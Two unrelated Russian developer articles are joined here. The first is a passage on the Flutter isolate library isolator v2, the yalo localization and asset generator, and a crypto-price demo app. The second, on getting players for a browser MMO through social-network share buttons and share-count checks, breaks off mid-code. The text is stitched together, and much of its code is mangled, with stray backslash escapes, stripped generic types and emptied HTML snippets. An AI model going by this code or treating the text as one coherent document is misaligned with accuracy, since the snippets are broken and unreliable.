Среди прочих нововведений второй версии присутствует возможность прозрачного использования этого же кода в вебе (но пока еще в разработке). Isolate API не имеет поддержки в вебе, как таковой, однако, при использовании isolator весь код будет работать как и обычно, но в главном потоке.
#### Frontend
Для начала приложу весь код, а затем буду разбирать каждый из его блоков по отдельности:
```
import 'dart:async';
import 'package:flutter/material.dart';
import 'package:flutter/widgets.dart';
import 'package:isolator/isolator.dart';
import 'package:isolator/next/maybe.dart';
import '../../../service/di/di.dart';
import '../../../service/di/registrations.dart';
import '../../../service/tools/localization_wrapper.dart';
import '../../crypto/dto/stock_item.dart';
import '../../notification/logic/notification_service.dart';
import 'main_backend.dart';
enum MainEvent {
init,
loadStocks,
startLoadingStocks,
endLoadingStocks,
filterStocks,
updateFilteredStocks,
}
class MainFrontend with Frontend, ChangeNotifier {
late final NotificationService _notificationService;
late final LocalizationWrapper _localizationWrapper;
final List stocks = [];
bool isLaunching = true;
bool isStocksLoading = false;
bool errorOnLoadingStocks = false;
TextEditingController searchController = TextEditingController();
TextEditingController tokenController = TextEditingController();
bool \_isInLaunchProcess = false;
bool \_isLaunched = false;
String \_prevSearch = '';
Future loadStocks() async {
errorOnLoadingStocks = false;
final Maybe stocks = await run(event: MainEvent.loadStocks);
if (stocks.hasList) {
\_update(() {
this.stocks.clear();
this.stocks.addAll(stocks.list);
});
}
if (stocks.hasError) {
\_update(() {
errorOnLoadingStocks = true;
});
await \_notificationService.showSnackBar(content: \_localizationWrapper.loc.main.errors.loadingError);
}
}
Future launch({
required NotificationService notificationService,
required LocalizationWrapper localizationWrapper,
}) async {
if (!isLaunching || \_isLaunched || \_isInLaunchProcess) {
return;
}
\_notificationService = notificationService;
\_localizationWrapper = localizationWrapper;
\_isInLaunchProcess = true;
searchController.addListener(\_filterStocks);
await initBackend(initializer: \_launch);
\_isInLaunchProcess = false;
\_isLaunched = true;
\_update(() => isLaunching = false);
}
void \_filterStocks() {
if (\_prevSearch != searchController.text) {
\_prevSearch = searchController.text;
run(event: MainEvent.filterStocks, data: searchController.text);
}
}
void \_setFilteredStocks({required MainEvent event, required List data}) {
\_update(() {
stocks.clear();
stocks.addAll(data);
});
}
void \_startLoadingStocks({required MainEvent event, void data}) {
\_update(() {
isStocksLoading = true;
});
}
void \_endLoadingStocks({required MainEvent event, void data}) {
\_update(() {
isStocksLoading = false;
});
}
void \_update(VoidCallback dataChanger) {
dataChanger();
notifyListeners();
}
static MainBackend \_launch(BackendArgument argument) {
initDependencies();
return MainBackend(argument: argument, cryptoProvider: Di.get());
}
@override
void initActions() {
whenEventCome(MainEvent.startLoadingStocks).run(\_startLoadingStocks);
whenEventCome(MainEvent.endLoadingStocks).run(\_endLoadingStocks);
whenEventCome(MainEvent.updateFilteredStocks).run(\_setFilteredStocks);
}
}
```
---
Логика работы библиотеки, отчасти, похожа на Bloc - необходимо зарегистрировать обработчики сообщений, прилетающих с `Backend`. Регистрируются они в методе `initActions`:
```
@override
void initActions() {
whenEventCome(MainEvent.startLoadingStocks).run(_startLoadingStocks);
whenEventCome(MainEvent.endLoadingStocks).run(_endLoadingStocks);
whenEventCome(MainEvent.updateFilteredStocks).run(_setFilteredStocks);
}
```
В качестве идентификатора события выступает любая сущность, но важно то, что проверка на соответствие будет происходить через обычное равенство `==`. Также, можно зарегистрировать обработчик на определенный тип идентификаторов, в этом случае он будет обрабатывать все события, идентифицируемые конкретно этим типом:
```
class SpecificMessageId {
const SpecificMessageId(this.someValue);
final int someValue;
}
void initActions() {
whenEventCome().run(\_specificHandler);
}
```
Стоит добавить несколько слов и о самих обработчиках. Все обработчики должны соответствовать следующему типу (не соответствующие не получится зарегистрировать):
```
typedef FrontendAction =
FutureOr Function({required Event event, required Req data});
```
Но, при этом, значение `data` не обязательно должно прилетать. Идентификатор-событие `event` будет прилетать всегда. То есть, следующие обработчики зарегистрируются и будут корректными:
```
void _startLoadingStocks({required MainEvent event, void data}) {
_update(() {
isStocksLoading = true;
});
}
void _endLoadingStocks({required MainEvent event, void data}) {
_update(() {
isStocksLoading = false;
});
}
```
Смысл обработчиков заключается в том, что если вы ходите только реагировать на события, инициированные `Backend` - нужен обработчик. Если же вы хотите вызвать какой-то метод `Backend` - можно обойтись и без обработчиков вовсе.
---
При вызове любого `Backend`-метода из `Frontend` вы всегда получите какой-нибудь ответ “на месте”, завернутый в своеобразный union-type `Maybe`. Union-типов в Dart на данный момент нет, кроме одного встроенного `FutureOr`, поэтому, для корректной типизации данных методов пришлось создавать `Maybe`, он может включать в себя просто `T`, `List` или ошибку, ну или вообще все три - `null`, если метод `Backend` не возвращает ничего (но, на самом деле, `Backend`-методы всегда должны возвращать кое-что, что вы увидите немного ниже).
Следующий код демонстрирует вызов `MainBackend` метода по `event = MainEvent.loadStocks` и получение результата сразу в месте вызова:
```
Future loadStocks() async {
errorOnLoadingStocks = false;
final Maybe stocks = await run(event: MainEvent.loadStocks);
if (stocks.hasList) {
\_update(() {
this.stocks.clear();
this.stocks.addAll(stocks.list);
});
}
if (stocks.hasError) {
\_update(() {
errorOnLoadingStocks = true;
});
await \_notificationService.showSnackBar(content:
\_localizationWrapper.loc.main.errors.loadingError);
}
}
```
Немного забегая наперед покажу и соответствующий этому `event` метод `MainBackend`, который и будет исполнен в стороннем изоляте:
```
Future> \_loadStocks({required MainEvent event, void data}) async {
await send(event: MainEvent.startLoadingStocks, sendDirectly: true);
try {
final List stockItems = await \_cryptoProvider.fetchLatestData();
\_stocks.clear();
\_stocks.addAll(stockItems);
} catch (error) {
await send(event: MainEvent.endLoadingStocks, sendDirectly: true);
rethrow;
}
await send(event: MainEvent.endLoadingStocks, sendDirectly: true);
return ActionResponse.list(\_stocks);
}
```
Пока не буду описывать его содержимое, об этом будет ниже.
---
Следующий метод `launch` нужен для инициализации `MainFrontend` и `MainBackend`. В нем вызывается метод `initBackend` миксина `Frontend`, в который необходимо передать, как минимум, один аргумент: функцию-инициализатор, которая запустится уже в стороннем изоляте, и эта функция должна возвращать инстанс соответствующего `Backend.`
```
Future launch({
required NotificationService notificationService,
required LocalizationWrapper localizationWrapper,
}) async {
if (!isLaunching || \_isLaunched || \_isInLaunchProcess) {
return;
}
\_notificationService = notificationService;
\_localizationWrapper = localizationWrapper;
\_isInLaunchProcess = true;
searchController.addListener(\_filterStocks);
await initBackend(initializer: \_launch);
\_isInLaunchProcess = false;
\_isLaunched = true;
\_update(() => isLaunching = false);
}
```
Давайте взглянем на нее поближе:
```
static MainBackend _launch(BackendArgument argument) {
initDependencies();
return MainBackend(argument: argument, CryptoProvider: Di.get());
}
```
В этой функции нам необходимо повторно инициализировать Di-контейнер, так как сторонний изолят не знает ничего о том, что происходило в главном и все фабрики в стороннем изоляте не зарегистрированы. Требования к функции-инициализатору аналогичны [требованиям](https://api.dart.dev/stable/2.15.1/dart-isolate/Isolate/spawn.html) к оригинальной функции `entryPoint`, используемой в Isolate API. А вот её интерфейс:
```
typedef BackendInitializer =
B Function(BackendArgument argument);
```
---
Также, `Frontend` позволяет регистрировать хуки, вызываемые на каждое сообщение от `Backend`, только на сообщения, которые должны принудительно заставить `Frontend` уведомить UI об изменении данных; можно подписаться (например одному `Frontend` на другой), посредством метода `subscribeOnEvent`. Об этом будет сказано немного подробнее в блоке про UI.
#### Backend
Я начну с метода `Frontend`, который вызывается для получения данных о крипте. При первичной отрисовке главного экрана в хуке `initState` виджета `MainView` происходит инициализация `MainFrontend` (см. метод `MainFrontend.launch`). По завершению которой вызывается метод `loadStocks` (который был разобран выше):
```
// main_view.dart
Future \_launchMainFrontend() async {
final MainFrontend mainFrontend = Provider.of(context, listen: false);
await mainFrontend.launch(notificationService: Provider.of(context, listen: false), localizationWrapper: Provider.of(context, listen: false));
await mainFrontend.loadStocks();
}
@override
void initState() {
super.initState();
\_launchMainFrontend();
// ...
}
```
Выше уже отсветил один из методов `MainBackend`, что-же, вот теперь пора представить и сам класс, который будет существовать в отдельном изоляте на протяжении жизни всего приложения:
```
import 'dart:async';
import '../../crypto/logic/crypto_provider.dart';
import 'package:isolator/isolator.dart';
import '../../crypto/dto/stock_item.dart';
import 'main_frontend.dart';
typedef StockItemFilter = bool Function(StockItem);
class MainBackend extends Backend {
MainBackend({
required BackendArgument argument,
required CryptoProvider cryptoProvider,
}) : \_cryptoProvider = cryptoProvider,
super(argument: argument);
final CryptoProvider \_cryptoProvider;
final List \_stocks = [];
Timer? \_searchTimer;
Future> \_loadStocks({required MainEvent event, void data}) async {
await send(event: MainEvent.startLoadingStocks, sendDirectly: true);
try {
final List stockItems = await \_cryptoProvider.fetchLatestData();
\_stocks.clear();
\_stocks.addAll(stockItems);
} catch (error) {
await send(event: MainEvent.endLoadingStocks, sendDirectly: true);
rethrow;
}
await send(event: MainEvent.endLoadingStocks, sendDirectly: true);
return ActionResponse.list(\_stocks);
}
ActionResponse \_filterStocks({required MainEvent event, required String data}) {
final String searchSubString = data;
send(event: MainEvent.startLoadingStocks);
\_searchTimer?.cancel();
\_searchTimer = Timer(const Duration(milliseconds: 500), () async {
\_searchTimer = null;
final List filteredStocks = \_stocks.where(\_stockFilterPredicate(searchSubString)).toList();
await send(
event: MainEvent.updateFilteredStocks,
data: ActionResponse.list(filteredStocks),
);
await send(event: MainEvent.endLoadingStocks);
});
return ActionResponse.empty();
}
StockItemFilter \_stockFilterPredicate(String searchSubString) {
final RegExp filterRegExp = RegExp(searchSubString, caseSensitive: false, unicode: true);
return (StockItem item) {
if (searchSubString.isEmpty) {
return true;
}
return filterRegExp.hasMatch(item.symbol) || filterRegExp.hasMatch(item.name);
};
}
@override
void initActions() {
whenEventCome(MainEvent.loadStocks).run(\_loadStocks);
whenEventCome(MainEvent.filterStocks).run(\_filterStocks);
}
}
```
---
По аналогии с `Frontend` в любом `Backend` есть возможность регистрации обработчиков событий с тем же самым API, но небольшим отличием в типе обработчика:
```
typedef BackendAction = FutureOr> Function({required Event event, required Req data});
```
Отличие заключается в том, что если `Frontend` обработчик может не возвращать ничего, то `Backend` обработчик обязан возвращать результат вида `ActionResponse`, либо падать с ошибкой. Это является следствием определенных ограничений при работе с типами в Dart.
Также, обработчик является выходной точкой любого `Backend`, каждый из которых может вызывать обработчики любого другого `Backend`, делается это посредством специальных сущностей `Interactor`. [Вот](https://github.com/alphamikle/isolator/blob/next/test/next/data_bus/second_back_interactor.dart) и [вот](https://github.com/alphamikle/isolator/blob/next/test/next/data_bus/first_back.dart#L16) небольшой пример.
---
Теперь разберем подробнее метод получения криптовалют. Перед началом загрузки мы посылаем сообщение в `MainFrontend`, чтобы отобразить в интерфейсе, что идет процесс загрузки.
```
await send(event: MainEvent.startLoadingStocks, sendDirectly: true);
```
Затем, происходит сама загрузка данных и их сохранение в `MainBackend` для возможности локального поиска.
```
final List stockItems = await \_cryptoProvider.fetchLatestData();
\_stocks.clear();
\_stocks.addAll(stockItems);
```
Теперь начинается кое-что интересное, что стало возможным с выходом Dart 2.15. Упомянутая выше возможность библиотеки передавать любой объем данных без просадки кадров достигается (*раньше достигалась*) посредством разбиения массива данных на чанки и передачей этих чанков во `Frontend` по очереди. Логика тут была простая, если данных много - их можно так или иначе представить в виде массива, а его можно без проблем разбить на маленькие куски и передать без проблем с производительностью. Собственно, эта старая логика отображена передачей данных, завернутых в специальный wrapper `Chunks`:
```
await send(
event: MainEvent.loadStocks,
data: ActionResponse.chunks(
Chunks(
data: _stocks,
updateAfterFirstChunk: true,
size: 100,
delay: const Duration(milliseconds: 8),
),
),
);
```
При этом сборка чанков во `Frontend` происходила “магически-автоматически”, и обработчик, который ожидал получения большой пачки данных - просто получал свой готовый огромный массив. *Все эти возможности придется выпилить, так как особого смысла от них теперь нет.*
С приходом новой версии Dart стало возможным передавать любой объем данных любого типа за константное время и без ограничений по типу передаваемых данных - теперь можно без проблем передавать не только массивы, но и любую другую структуру, если это необходимо. Сейчас достаточно использовать обычный метод отправки сообщений, который будет использовать под капотом пресловутый `Isolate.exit`:
```
await send(
event: MainEvent.loadStocks,
data: ActionResponse.list(_stocks),
);
```
При этом, как говорит документация, возможность быстрой передачи данных доступна только при уничтожении отправляющего изолята. А так как наш `MainBackend` (да и любой другой `Backend`) - стремится жить на протяжении существования всего приложения (*по крайней мере такова их задумка, но их и без проблем можно закрывать, но, всё-таки, не таким способом*), то использовать `Isolate.exit` напрямую в этом изоляте нельзя - он, по большому счету, завершится аварийно. Чтобы обойти это недоразумение наш `Backend` создает дополнительный транспортный изолят, в который классическим способом (глубоким копированием средствами Dart VM) передается любое количество данных, никак не влияющее на UI-изолят, а затем этот одноразовый транспортный изолят уничтожается, передавая при этом, данные в наш UI-изолят.
Вернемся к разбору нашего метода загрузки крипты. Так как мы организуем “синхронный” вызов `Backend`-метода из `Frontend`, то наш `Backend`-метод должен вернуть этот результат:
```
return ActionResponse.list(_stocks);
```
Также, при отправке события начала загрузки данных был указан дополнительный параметр `sendDirectly`, думаю, самое время описать и его - так как мы не всегда передаём большое количество данных из `Backend` во `Frontend`, то и не всегда нужно пользоваться услугами транспортного изолята - можно передавать данные напрямую. Если это необходимо - использование данного параметра позволит отправлять сообщения без сторонней помощи.
#### Локальный поиск
Более подробно останавливаться на методе локального поиска останавливаться не буду, так как, кажется, статья уже стала лонгридом 🙂. Работает он как поиск по регулярному выражению. Могу добавить только то, что вы можете получить ответ на главный вопрос вселенной с его помощью и даже немного больше.
### UI
После завершения данного этапа структура домена main станет такой:
```
|-- domain
| `-- main
| |-- logic
| | |-- main_backend.dart
| | `-- main_frontend.dart
| `-- ui
| |-- main_header.dart
| |-- main_view.dart
| `-- stock_item_tile.dart
|-- high_low_app.dart
`-- main.dart
```
Опишем содержимое папочки ui:
`main_view.dart` содержит `StatefulWidget` главного экрана
```
import 'package:flutter/material.dart';
import 'package:isolator/next/frontend/frontend_event_subscription.dart';
import 'package:provider/provider.dart';
import 'package:yalo_assets/lib.dart';
import 'package:yalo_locale/lib.dart';
import '../../../service/theme/app_theme.dart';
import '../../../service/tools/utils.dart';
import '../../crypto/dto/stock_item.dart';
import '../../notification/logic/notification_service.dart';
import '../logic/main_frontend.dart';
import 'main_header.dart';
import 'stock_item_tile.dart';
class MainView extends StatefulWidget {
const MainView({Key? key}) : super(key: key);
@override
_MainViewState createState() => _MainViewState();
}
class _MainViewState extends State {
MainFrontend get \_mainFrontend => Provider.of(context);
late final FrontendEventSubscription \_eventSubscription;
Widget \_stockItemBuilder(BuildContext context, int index) {
final StockItem item = \_mainFrontend.stocks[index];
final bool isFirst = index == 0;
final bool isLast = index == \_mainFrontend.stocks.length - 1;
return Padding(
padding: EdgeInsets.only(
left: 8,
top: isFirst ? 8 : 0,
right: 8,
bottom: isLast ? MediaQuery.of(context).padding.bottom + 8 : 8,
),
child: StockItemTile(item: item),
);
}
void \_onSearchEnd(MainEvent event) {
final MainFrontend mainFrontend = Provider.of(context, listen: false);
final LocalizationMessages loc = Messages.of(context);
final int stocksCount = mainFrontend.stocks.length;
final String content = loc.main.search.result(stocksCount);
Provider.of(context, listen: false).showSnackBar(
content: content,
backgroundColor: AppTheme.of(context, listen: false).okColor,
);
}
Future \_launchMainFrontend() async {
final MainFrontend mainFrontend = Provider.of(context, listen: false);
await mainFrontend.launch(notificationService: Provider.of(context, listen: false), localizationWrapper: Provider.of(context, listen: false));
await mainFrontend.loadStocks();
}
@override
void initState() {
super.initState();
\_launchMainFrontend();
\_eventSubscription = Provider.of(context, listen: false).subscribeOnEvent(
listener: \_onSearchEnd,
event: MainEvent.updateFilteredStocks,
onEveryEvent: true,
);
}
@override
void dispose() {
\_eventSubscription.close();
super.dispose();
}
@override
Widget build(BuildContext context) {
final Assets assets = Provider.of(context, listen: false);
final AppTheme theme = AppTheme.of(context);
final MaterialStateProperty buttonColor = MaterialStateProperty.resolveWith((states) => theme.buttonColor);
final ButtonStyle buttonStyle = ButtonStyle(
foregroundColor: buttonColor,
overlayColor: MaterialStateProperty.resolveWith((states) => theme.splashColor),
shadowColor: buttonColor,
);
final List notFoundImages = [
assets.notFound1,
assets.notFound2,
assets.notFound3,
assets.notFound4,
].map((e) => e.replaceFirst('assets/', '')).toList();
Widget body;
if (\_mainFrontend.isLaunching) {
body = Center(
child: Text(Messages.of(context).main.loading),
);
} else if (\_mainFrontend.errorOnLoadingStocks) {
body = Center(
child: Padding(
padding: const EdgeInsets.all(16),
child: Column(
mainAxisSize: MainAxisSize.min,
crossAxisAlignment: CrossAxisAlignment.center,
children: [
Padding(
padding: const EdgeInsets.only(bottom: 16),
child: Image.asset(notFoundImages[Utils.randomIntBetween(0, notFoundImages.length - 1)]),
),
TextButton(
onPressed: \_mainFrontend.loadStocks,
style: buttonStyle,
child: Text(Messages.of(context).main.repeat),
),
],
),
),
);
} else {
body = CustomScrollView(
physics: const BouncingScrollPhysics(),
slivers: [
const MainHeader(),
SliverList(
delegate: SliverChildBuilderDelegate(
\_stockItemBuilder,
childCount: \_mainFrontend.stocks.length,
),
),
],
);
}
return Scaffold(
body: AnimatedSwitcher(
duration: const Duration(milliseconds: 250),
child: body,
),
);
}
}
```
Что есть интересного здесь? Инициализацию `MainFrontend` уже обсудили, остался только подписчик на события. Кстати, вот он:
```
_eventSubscription = Provider.of(context, listen: false).subscribeOnEvent(
listener: \_onSearchEnd,
event: MainEvent.updateFilteredStocks,
onEveryEvent: true,
);
```
Вызов данного метода позволяет уведомляться в том, что наш `MainFrontend` получил сообщение соответствующего типа от `MainBackend`. Метод `subscribeOnEvent` является частью `Frontend` в принципе.
В результате мы получаем такие уведомления, каждый раз, когда нам прилетает порция данных после поиска:
И это - является подводкой к теме локализации приложений на Flutter.
#### Локализация интерфейса
Уже довольно давно я задавался вопросом - как можно быстро локализовать приложение на Flutter. Если взглянуть на официальный [гайд](https://docs.flutter.dev/development/accessibility-and-localization/internationalization) - то первое впечатление “без бутылки не разберешься”. Второе, собственно - тоже. И тогда я подумал, что если избавиться от громоздкого `.arb`, и вместо него использовать `.yaml`? Так родился пакет assets\_codegen (ссылку я не прикладываю, так как он deprecated). Его идея была в следующем - располагаем файлы локализации в ассетах, аннотируем какой-нибудь класс, чтобы к нему цеплялся код локализации, запускаем `flutter pub run build_runner watch` и наслаждаемся. Решение было более чем работоспособным, но имелись и минусы - логика отслеживания изменений в файлах локализации была написана руками, а ко**т**огенерация Dart не позволяет отслеживать изменения не в Dart-файлах, и результат совмещения стандартного кодогенератора и рукописного вотчера иной раз удручал. В общем было много раздражающих багов. И вот однажды, уже имея некоторое понимание, как часто приходится добавлять новые строки локализации и сразу же после этого ожидать их появления в коде (спойлер - *крайне редко*), я решил написать полностью новый пакет, еще и название которого, родившееся в моей голове, очень мне понравилось.
Так появился пакет [yalo](https://pub.dev/packages/yalo). С предельно простой логикой (описанной в документации) - размещаем файлы локализации в ассетах, запускаем генератор командой
`flutter pub run yalo:loc`, подключаем к проекту сгенерированный локальный пакет `.yalo_locale`, используем пару переменных в корневой `...App`:
```
import 'package:flutter/material.dart';
import 'package:yalo_locale/lib.dart';
import 'service/di/di.dart';
class HighLowApp extends StatelessWidget {
const HighLowApp({Key? key}) : super(key: key);
@override
Widget build(BuildContext context) {
return MaterialApp.router(
routeInformationParser: Di.get>(),
routerDelegate: Di.get>(),
backButtonDispatcher: Di.get(),
theme: Theme.of(context).copyWith(brightness: Brightness.dark),
debugShowCheckedModeBanner: false,
localizationsDelegates: localizationsDelegates, // <-- 1
supportedLocales: supportedLocales, // <-- 2
onGenerateTitle: (BuildContext context) => Messages.of(context).common.appTitle,
);
}
}
```
И используем локализованный контент. С плюрализацией, префиксами, сколько угодно глубокой вложенностью и подстановкой (пока только для числовых данных в плюрализированных строках). Примеры использования вы уже могли заметить выше, но продемонстрирую их отдельно.
Генерация названия приложения:
```
(BuildContext context) => Messages.of(context).common.appTitle
```
Подсказка поля ввода поиска:
```
Messages.of(context).main.search.hint
```
Количество элементов после поиска в `SnackBar`:
```
Messages.of(context).main.search.result(
Provider.of(context, listen: false).stocks.length)
```
Появляется это все из такого файлика:
```
main:
loading: Загрузка...
search:
hint: Поиск
result:
zero: Мы ничего не нашли
one: Мы нашли ${howMany} элемент
two: Мы нашли ${howMany} элемента
other: Мы нашли ${howMany} элементов
common:
currency: '\$'
percent: '%'
appTitle: High Low
```
Точнее, файликов, лежащих вот так:
```
|-- README.md
|-- analysis_options.yaml
|-- assets
| `-- i18
| |-- en_intl.yaml
| `-- ru_intl.yaml
`-- watch.sh
```
Но вместо префикса файла, можно раскладывать их по папкам - `../ru/intl.dart`
### Заключение
На этот раз статья поспела за кодом и все, что реализовано - тут описано. В третьей статье я сделаю полностью второй экран (учитывая графики и игровую механику, возможно третья часть выйдет во время новогодних праздников), ~~покажу работу с ассетами здорового человека~~ и implicit-анимацию любого текста.
И еще, приложу [изменения](https://editor.mergely.com/cOgtTuqd/), которые произошли со времени первой части. И, [код](https://github.com/alphamikle/high_low/tree/PART2) текущего состояния проекта.
### Особая секция
Как сцены после титров в Marvel - данная секция для особых ~~зрителей~~ читателей. Уже дописав данную статью я был практически готов её опубликовать. Но чувство перфекционизма старательно откусывало от меня кусочки - на момент “готовности” статьи isolator не был доработан настолько, чтобы было можно использовать его и в web. И ещё мне хотелось показать не только картинки приложения, но и дать возможность его “потыкать”. И вот я за пару вечеров добавил возможность работы в web (как и прежде - без многопоточности, но с сохранением полной работоспособности без изменений в вашем коде). Затем встал вопрос о публикации приложения. Публиковать в сторах я планирую в самом конце, а пока можно было бы сделать это на github.pages. Тут-то и начинается самое интересное.
Запустил web-версию локально, все отлично работает, за исключением одного **NO!** - API сервиса, который я начал использовать изначально, не позволяет осуществлять CORS-запросы, “чтобы не палить ваши токены авторизации”, видимо, про [реверс API приложений](https://habr.com/ru/post/575460/) они не слышали. Ну да ладно. Я начал искать способы, как можно обойти это ограничение без необходимости пилить свой собственный proxy, хостить его где-то и т.д. Нашел [curl-online](https://reqbin.com/curl), сделал запрос через него (через интерфейс самого сервиса) - все заработало. Сразу начал делать web-имплементацию `CryptoProvider`, который бы использовался в web-сборке и ходил за данными через web-curl. И снова:
> У меня локально все работает
>
>
Деплой на github.pages → и снова CORS, но уже у самого курла (*почему я не додумался выполнить этот запрос из консоли браузера со страницы приложения на pages - очень большой вопроc*). Время - час ночи, и я неунывающими красными глазами начинаю пялить в код пишушейся прокси для этого всего. Еще пол часа и глаза говорят “пора спать”. Проснувшись на следующий день, рано утром, я снова начал искать способы не писать прокси и, видимо, правду говорят - утро вечера мудренее, я додумываюсь поискать альтернативу самому API. И первый же запрос в гугл предоставляет мне [прекрасную](<https://www.coingecko.com/en/api/documentation?)>, полностью бесплатную, без авторизаций (и с очень небольшими ограничениями), апишку.
С одной стороны - я безмерно рад тому, что не придется пилить никакие прокси, и также рад тому, что смогу показать вам как оно работает в вебе без всяких “но”, но с другой - если бы я сначала подумал, поискал, а не бросился пилить код, сэкономил бы часов 8 жизни...
В общем результаты таковы, что [isolator v2](https://pub.dev/packages/isolator) теперь полностью готов к использованию. Ну и вы можете взглянуть на [web-версию](https://alphamikle.github.io/high_low/#/) того, что уже реализовано. У API есть ограничение на 50 вызовов в минуту, так что если сработает хабраэффект - вы увидите Экран ошибки, на котором будет достаточно нажать одну кнопку.
### Ассеты
Если бы не особая секция, и все страдания, которые там описаны, этот раздел действительно был бы должен оказаться в третьей статье. Изначально я хотел показать работу с ними в этой, но во время написания статьи понял, что нет особых мест, кроме как придуманных исскуственно, где они были бы к месту. Затем, во время реализации логики, связанной с возможностью исчерпания лимита моего токена авторизации на первом ресурсе появилось место, где ассеты будут к месту. Идея была такова - если ресурс моего токена заканчивается, то при получении ошибки во время запроса отобразится дополнительный экран, где будет висеть какая-нибудь прикольная картинка, а также инпут для ввода вашего собственного токена авторизации, с которым бы у вас лично все заработало. После перехода на новое API логика по использованию вашего токена отпала сама собой, но, потенциально, осталась возможность наткнуться на ошибку из-за лимитов API по RPS. Поэтому, если вы увидите данный экран - то хабраэффект сработал.
А теперь к самой работе с ассетами! Упомянутый выше пакет [yalo](https://pub.dev/packages/yalo), позволяет не только генерировать локализацию из `.yaml` файлов, но также, он позволяет генерировать код с именами всех ассетов, лежащих в вашей папке `assets` (или любой другой, если она корректно указана в `pubspec.yaml`). Сейчас структура папки `assets` данного проекта имеет следующий вид:
```
./assets
|-- i18
| |-- en_intl.yaml
| `-- ru_intl.yaml
`-- images
|-- notFound_1.png
|-- notFound_2.png
|-- notFound_3.png
`-- notFound_4.png
```
При условии, что у вас в проекте уже установлен данный пакет, вы можете запустить следующую команду:
```
flutter pub run yalo:asset
```
Результатом такой команды будет сгенерированный пакет `.yalo_assets` в корне вашего проекта, который, по аналогии с `.yalo_locale` нужно добавить в `pubspec.yaml:`
```
dependencies:
//...
yalo_locale:
path: ./.yalo_locale
yalo_assets:
path: ./.yalo_assets
```
После этих манипуляций вы получаете доступ к классу со статическими и обычными геттерами:
```
class Assets {
String get enIntl => enIntlS;
static const String enIntlS = 'assets/i18/en_intl.yaml';
String get ruIntl => ruIntlS;
static const String ruIntlS = 'assets/i18/ru_intl.yaml';
String get notFound1 => notFound1S;
static const String notFound1S = 'assets/images/notFound_1.png';
String get notFound2 => notFound2S;
static const String notFound2S = 'assets/images/notFound_2.png';
String get notFound3 => notFound3S;
static const String notFound3S = 'assets/images/notFound_3.png';
String get notFound4 => notFound4S;
static const String notFound4S = 'assets/images/notFound_4.png';
}
```
Я опустил некоторые дополнительные методы, имеющиеся в данном классе, так как особой востребованностью они не пользовались.
Чем это может быть полезно? Главный плюс - автодополнение. Дополнительный - у вас появляется возможность отслеживать ассеты на уровне кода. Если какой-либо файл будет удален или изменено его имя - код на это отреагирует и вы получите статическую ошибку, вместо отлова её в рантайме (если не уследили за этим). Разрешение коллизий имен ассетов (например два файла в одинаковым именем, лежащих в разных папках) тоже есть, и выглядит вот так:
```
class Assets {
String get enIntl => enIntlS;
static const String enIntlS = 'assets/i18/en_intl.yaml';
String get ruIntl => ruIntlS;
static const String ruIntlS = 'assets/i18/ru_intl.yaml';
String get notFound => notFoundS;
static const String notFoundS = 'assets/images/blabla/notFound.png';
String get notFound1 => notFound1S;
static const String notFound1S = 'assets/images/notFound_1.png';
String get notFound2 => notFound2S;
static const String notFound2S = 'assets/images/notFound_2.png';
String get notFound3 => notFound3S;
static const String notFound3S = 'assets/images/notFound_3.png';
String get notFound4 => notFound4S;
static const String notFound4S = 'assets/images/notFound_4.png';
String get notFoundCopy => notFoundCopyS;
static const String notFoundCopyS = 'assets/images/old_content/notFound.png';
String get notFoundCopyCopy => notFoundCopyCopyS;
static const String notFoundCopyCopyS = 'assets/images/something_else/notFound.png';
String get notFoundCopyCopyCopy => notFoundCopyCopyCopyS;
static const String notFoundCopyCopyCopyS = 'assets/images/very_important_content/notFound.png';
String get notFound3Copy => notFound3CopyS;
static const String notFound3CopyS = 'assets/images/very_important_content/notFound_3.png';
}
```
### Окончательное заключение
Надо было что-то оставить на самый финал - на этом действительно все. | https://habr.com/ru/post/597605/ | null | ru | null |
# Получаем трафик и минимизируем его стоимость на примере браузерной MMO
Почему-то в наше время браузерные игры (Browser Based MMO) не считают стартапами, а людей которые ими занимаются и близко не ставят в один ряд с предпринимателями. Такое впечатление у меня сложилось из личного опыта после участия в финале Seedcamp London Week 2008 и еще раз подтвердилось на финале i/o ventures 2010. Может поэтому так сложно найти и почитать интересные статьи по теме браузерных игр на территории СНГ.
Поэтому попробую поделится интересными идеями для начинающих создателей онлайн игр.
И так, представим себе, что Вы закончили бета версию своей игры и наступил момент когда нужно привлечь массу пользователей. Конечно же в идеале, если у Вас получилась супер интересная, понятная и юзабельная игра, то один пользователь приведет друга, тот еще друзей, сработает сарафанное радио и на утро у Вас уже будет 1000 игроков в онлайне. Таких успехов добиться очень сложно, поэтому перестаем мечтать, спускаемся на землю и начинаем =).
Самый распространенный и давний метод это конечно же рефералы. Но обычно чтоб начать пользователю приводить рефералов, ему нужно сделать много телодвижений: найти ссылку для привлечения, разместить ее на ресурсах, сидеть и ждать пока придет первый реферал и заплатить денежку, чтоб Вам на счет что-то капнуло.
Чтобы эти усилия свести к минимуму нам помогут социальные сети такие как Вконтакте, МойМир,Facebook и Google buzz. У них у всех есть такая опция как «Share button», которая не требует особых знаний в API.
Делаете у себя в игре акцию «Социальные сети», суть которой заключается в том, что человек нажав на эту кнопку, добавит свою реф ссылку к себе в заметки или на стену. Соответственно во френдленте его друзья увидят ссылку. За это Вы сразу начисляете в игре бонус.
Коды кнопок:
**Вконтакте**
```
document.write(VK.Share.button({
url: "http://referallink",
title: "Game",
description: "Super game",
image: "http://game/img/logo.jpg",
noparse: true,
type: "round\_nocount"
}));
<script>
</code></pre><br/>
<b>МойМир</b><br/>
<br/>
<pre><code class="plaintext"><a class="mrc\_\_share" href="http://connect.mail.ru/share?share\_url=referallink">В Мой Мир</a>
<script src="http://cdn.connect.mail.ru/js/share/2/share.js" type="text/javascript">
```
Тут придется еще добавить теги на главную страницу сайта чтобы мейлру правильно подхватил названия и картинку
```
```
**Google Buzz**
```
```
**FaceBook**
```
[Share](http://www.facebook.com/sharer.php)
```
**У Вас получится примерно следующая картина:**
Теперь сталкиваемся с проблемой, а как же проверить не обманул ли нас пользователь и действительно ли он разместил ссылку. А очень просто, у каждой Share Button есть счетчик который показывает количество размещенных таким образом ссылок. Чтобы получить значение этого счетчика, достаточно сходить по ссылкам:
**Вконтакте**
```
vkontakte.ru/share.php?act=count&index=0&url=refferallink
```
**МойМир**
```
connect.mail.ru/share_count?func=mrc__shareInit&callback=1&url_list=refferallink
```
**FaceBook**
```
api.ak.facebook.com/restserver.php?v=1.0&method=fql.query&query=select%20url%2C%20total_count%20from%20link_stat%20where%20url%20in%20(%27refferallink%27)&format=json&callback=fb_sharepro_render
```
**Google Buzz**
```
